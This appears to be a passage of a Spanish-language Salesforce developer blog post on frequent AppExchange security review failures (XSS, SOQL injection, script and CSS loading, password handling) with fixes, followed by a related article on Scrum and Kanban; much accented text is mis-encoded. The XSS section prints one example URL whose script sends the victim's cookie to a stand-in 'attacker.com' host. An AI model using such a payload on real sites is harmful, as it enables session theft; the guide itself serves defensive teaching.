Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p√°gina sin validarlas adecuadamente (para garantizar que no contenga c√≥digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P√°ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci√≥n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=‚ÄĚmanual‚ÄĚ o el componente lightning:formattedRichText sin la validaci√≥n de entrada adecuada.
  • Par√°metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p√°gina sin validaci√≥n (lo que lleva a XSS reflejado).

¬ŅC√≥mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulaci√≥n del modelo de objetos de documento (DOM): en su lugar, utilice t√©cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg√ļrese de que la entrada del usuario no contenga c√≥digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com√ļnmente utilizados en el c√≥digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par√©ntesis u operadores matem√°ticos o l√≥gicos como '+', '&' o '-')
  • Codificaci√≥n de salida : aseg√ļrese de que si el c√≥digo ejecutable pasara el filtrado de entrada, no se interprete como c√≥digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m√≥dulo de Trailhead explica exactamente c√≥mo mitigar XSS con estas t√©cnicas, y nuestra documentaci√≥n para desarrolladores tambi√©n es √ļtil aqu√≠. Para obtener consejos espec√≠ficos sobre la protecci√≥n contra XSS en componentes Lightning, consulte la p√°gina Seguridad Lightning en la Gu√≠a de codificaci√≥n segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no est√° en recursos est√°ticos

¬ŅQu√© es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¬ŅC√≥mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est√°ticos y luego cargarse con una etiqueta <apex:includeScript> en su p√°gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 ‚Äď Inyecci√≥n SOQL

¬ŅQu√© es esto?

La inyecci√≥n SOQL es la versi√≥n espec√≠fica de Salesforce de la inyecci√≥n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din√°mica. Si la entrada no est√° validada, puede incluir comandos SOQL que modifican efectivamente la declaraci√≥n SOQL y enga√Īan a la aplicaci√≥n para que ejecute comandos no deseados.

¬ŅC√≥mo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 ‚ÄĒ Lightning: carga CSS inadecuada

¬ŅQu√© es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¬ŅC√≥mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est√°tico, use una etiqueta <apex:stylesheet> en su p√°gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c√≥digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning√ļn lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl√°sica)

¬ŅQu√© es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci√≥n en las p√°ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est√© esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta√Īas web, componentes de p√°gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr√≠a ser motivo de falla).

¬ŅC√≥mo puedo abordar esto?

Esto es algo que deber√° verificar manualmente en el c√≥digo fuente de su paquete Salesforce. Verifique y aseg√ļrese de que no haya utilizado JavaScript para crear botones personalizados, pesta√Īas web, componentes de la p√°gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est√© incluido solo en el dominio de su aplicaci√≥n con espacio de nombres en las p√°ginas de VisualForce que controla como parte de su aplicaci√≥n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci√≥n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg√ļrese de eliminarlo. Incluso si su aplicaci√≥n solo est√° destinada a usarse en Lightning Experience, si la vulnerabilidad est√° presente para los usuarios en modo Cl√°sico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 ‚ÄĒ Divulgaci√≥n de informaci√≥n en p√°ginas de error y excepciones

¬ŅQu√© es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¬ŅC√≥mo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 ‚ÄĒ Componentes de Aura: componente externo de CSS

¬ŅQu√© es esto?

Se supone que los componentes de Aura son peque√Īos, aut√≥nomos, reutilizables y reposicionables. CSS que evita la encapsulaci√≥n de componentes (a trav√©s de .THIS) o que utiliza un posicionamiento no est√°ndar (por ejemplo, flotante o posici√≥n: absoluta o fija) infringe estas garant√≠as y puede interferir con la visualizaci√≥n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz√≥n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise√Īo del sitio web de Salesforce y viola el esp√≠ritu del modelo de seguridad de Lightning, donde los componentes est√°n estrictamente aislados y se garantiza que permanecer√°n en su propio carril.

¬ŅC√≥mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 ‚ÄĒ Canal de mensajes expuesto

¬ŅQu√© es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¬ŅC√≥mo puedo abordar esto?

Tiene dos opciones, seg√ļn su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci√≥n de componentes administrados para su paquete u organizaci√≥n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar√≠a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg√ļrese de mencionar esto espec√≠ficamente en un mensaje falso). documento positivo sobre su presentaci√≥n).
  2. Si tiene que utilizar un componente de canal LMS, aseg√ļrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice √ļnicamente el componente reci√©n creado en el c√≥digo.

Más información está disponible en la documentación .

#16 ‚Äď Informaci√≥n confidencial en URL

¬ŅQu√© es esto?

Esto se refiere a una situaci√≥n en la que se env√≠a informaci√≥n confidencial de larga duraci√≥n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase√Īa). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b√ļsqueda indexan URL y almacenan inadvertidamente informaci√≥n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach√© del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci√≥n de URL enviada a aplicaciones web de terceros a trav√©s del encabezado de referencia o expuesta a scripts de terceros en la p√°gina

¬ŅC√≥mo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 ‚Äď Punto final inseguro

¬ŅQu√© es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¬ŅC√≥mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a√ļn m√°s segura de verificar esto es buscar en el c√≥digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m√°s sobre c√≥mo esto mejora la seguridad en esta p√°gina de OWASP .

#18 ‚ÄĒ Enumeraci√≥n de nombre de usuario o correo electr√≥nico

¬ŅQu√© es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci√≥n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr√≥nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi√≥n, funciones de olvido de contrase√Īa o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase√Īas reutilizadas de bases de datos comprometidas y fugas o volcados de contrase√Īas.

¬ŅC√≥mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci√≥n de contrase√Īas, intentos de inicio de sesi√≥n, etc., y aseg√ļrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr√≥nico ingresado es v√°lido.

Por ejemplo, muchos sitios incluyen un mensaje gen√©rico, como: "Si dicho usuario existe, recibir√° un correo electr√≥nico con un restablecimiento de contrase√Īa". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr√≥nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una gu√≠a √ļtil para evitar la enumeraci√≥n de correos electr√≥nicos y nombres de usuarios.

#19 ‚ÄĒ Gesti√≥n de contrase√Īas

¬ŅQu√© es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol√≠ticas de contrase√Īas problem√°ticas, como por ejemplo:

  • Permitir la reutilizaci√≥n de la misma contrase√Īa cuando es necesario restablecerla
  • No solicitar la contrase√Īa anterior cuando se permite a los usuarios establecer una nueva contrase√Īa
  • Para restablecer la contrase√Īa, enviar una contrase√Īa temporal al correo electr√≥nico de un usuario en texto sin formato
  • Dejar contrase√Īas predeterminadas en los usuarios ra√≠z del servidor o de la base de datos

¬ŅC√≥mo puedo abordar esto?

Adem√°s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci√≥n de OWASP para obtener algunas pautas sobre c√≥mo establecer pol√≠ticas de contrase√Īas seguras:

Burp Suite tambi√©n es muy √ļtil para identificar problemas relacionados con las contrase√Īas (por ejemplo, puede usarlo para intentar forzar sus p√°ginas de inicio de sesi√≥n).

#20 ‚Äď Eco de contrase√Īa

¬ŅQu√© es esto?

Esto es un poco diferente del problema de administraci√≥n de contrase√Īas descrito anteriormente. Un eco de contrase√Īa se refiere a situaciones en las que las contrase√Īas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p√°gina de configuraci√≥n) o en llamadas API/respuestas JSON.

¬ŅC√≥mo puedo abordar esto?

Aseg√ļrese de que su contrase√Īa no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci√≥n. Aseg√ļrese de que en las p√°ginas de configuraci√≥n u otras p√°ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot√≥n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase√Īas de OWASP para obtener m√°s informaci√≥n.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por √ļltimo, no podemos recomendar lo suficiente Trailhead en t√©rminos de preparaci√≥n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi√©n acabamos de renovar el m√≥dulo Revisi√≥n de seguridad de AppExchange , que analiza el proceso de env√≠o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las √ļltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav√©s de Slack o RSS.

A√Īadir a holgura Suscr√≠bete a RSS

Seguir leyendo

Incorporación de Agile en Salesforce DevOps РInspire Planner

Incorporación de Agile en Salesforce DevOps - Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci√≥n utiliza metodolog√≠as Scrum o Kanban. Entonces, la pregunta es, ¬Ņy t√ļ?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci√≥n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci√≥n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci√≥n : si el equipo identifica discrepancias significativas durante una inspecci√≥n, debe ajustar su proceso o los materiales en los que se est√° trabajando.

Melé

Scrum est√° dise√Īado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per√≠odos espec√≠ficos conocidos como sprints. Un Sprint es un per√≠odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duraci√≥n m√°s com√ļn es de dos semanas. El equipo eval√ļa su progreso en reuniones diarias de scrum, que son debates r√°pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav√©s del sistema y responder r√°pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est√° en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav√©s del sistema Kanban.
  • Gestionar Flujo : La gesti√≥n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci√≥n r√°pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

An√°lisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones ‚Äď Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
‚Äď No es tan flexible para cambiar a mitad del sprint.
‚Äď Requiere un alto nivel de disciplina y comprensi√≥n de los principios de Scrum.
‚Äď Puede que no sea tan efectivo para tareas complejas e interdependientes.
‚Äď Sin disciplina, los l√≠mites WIP pueden ignorarse, lo que genera cuellos de botella.
‚Äď La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m√°s r√°pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s√≥lido y una comunicaci√≥n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri√≥dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci√≥n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci√≥n y resoluci√≥n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m√°s detalles sobre este tema, consulte nuestro art√≠culo sobre c√≥mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboraci√≥n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf√≠os del proyecto, lo que promueve una resoluci√≥n de problemas m√°s efectiva. Adem√°s, la comprensi√≥n compartida y la comunicaci√≥n frecuente reducen los malentendidos y la repetici√≥n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f√°cilmente en el pr√≥ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem√°s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a√ļn m√°s la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci√≥n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter√≠sticas valiosas puede aumentar la satisfacci√≥n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr√≥nica de consumo l√≠der en Europa, se expandi√≥ a China en 2010, desarroll√≥ r√°pidamente una innovadora suite de planificaci√≥n de recursos empresariales (ERP) en un a√Īo. Gracias a la metodolog√≠a Scrum y un equipo colaborativo, implementaron m√ļltiples aplicaciones est√°ndar, lo que facilit√≥ el lanzamiento de nuevas tiendas en Asia y prepar√≥ un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi√©ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us√°ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l√≠mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci√≥n m√°s r√°pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer√≠a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m√©todos √°giles, el cambio hacia el pensamiento Lean y la adopci√≥n de Kanban mejoraron dr√°sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en √ļltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m√°s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l√≠mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r√°pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t√≠picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg√ļn las necesidades espec√≠ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti√≥n de proyectos f√≠sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer l√≠mites de trabajo en curso (WIP) : defina cu√°ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l√≠mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l√≠mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

